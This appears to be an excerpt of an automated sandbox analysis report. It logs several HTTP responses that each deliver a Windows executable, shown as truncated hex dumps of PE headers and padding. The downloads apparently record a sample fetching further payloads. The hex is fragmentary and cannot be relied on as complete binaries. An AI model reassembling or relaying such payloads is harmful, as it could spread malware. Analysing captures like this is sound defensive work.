d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 07 Dec 2024 21:40:38 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 07 Dec 2024 21:40:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 07 Dec 2024 21:40:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 07 Dec 2024 21:40:42 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 07 Dec 2024 21:40:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 07 Dec 2024 21:40:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 07 Dec 2024 21:40:52 GMTContent-Type: application/octet-streamContent-Length: 3234816Last-Modified: Sat, 07 Dec 2024 21:35:14 GMTConnection: keep-aliveETag: "6754bf92-315c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 60 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 31 00 00 04 00 00 ee 7e 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 88 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b4 4f 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 4f 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 